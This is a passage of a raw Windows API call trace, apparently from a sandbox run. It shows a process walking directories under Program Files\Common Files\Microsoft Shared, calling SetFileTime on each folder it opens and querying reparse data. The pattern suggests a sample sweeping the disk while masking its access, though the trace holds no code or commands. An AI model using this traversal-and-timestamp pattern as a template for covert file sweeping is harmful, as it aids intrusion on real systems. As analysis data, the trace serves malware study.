hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918a90 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921fb0 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x940) returned 0x91fab0 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x922c00) returned 1 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918ab0 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9220b8 [0244.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.281] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918ad0 [0244.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9221c0 [0244.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0244.281] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0244.281] GetLastError () returned 0x12 [0244.281] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0244.281] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0244.281] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.281] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0244.281] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0244.282] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0244.282] GetLastError () returned 0x12 [0244.282] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x921668) returned 1 [0244.282] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0244.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x921770) returned 1 [0244.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x921560) returned 1 [0244.283] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0244.283] GetLastError () returned 0x12 [0244.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.283] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0244.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.283] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0244.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0244.371] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.371] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.371] NtClose (Handle=0x1bc) returned 0x0 [0244.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0244.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.372] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.372] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0244.372] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.372] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0244.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918af0 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921560 [0244.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.372] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0244.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x918b10 [0244.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x921770 [0244.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.373] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0244.373] GetLastError () returned 0x12 [0244.373] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0244.373] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.373] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.373] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0244.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0244.410] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.410] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x925508 [0244.410] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.410] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.410] NtClose (Handle=0x1bc) returned 0x0 [0244.410] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0244.410] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0244.410] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.410] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.410] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0244.442] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.442] 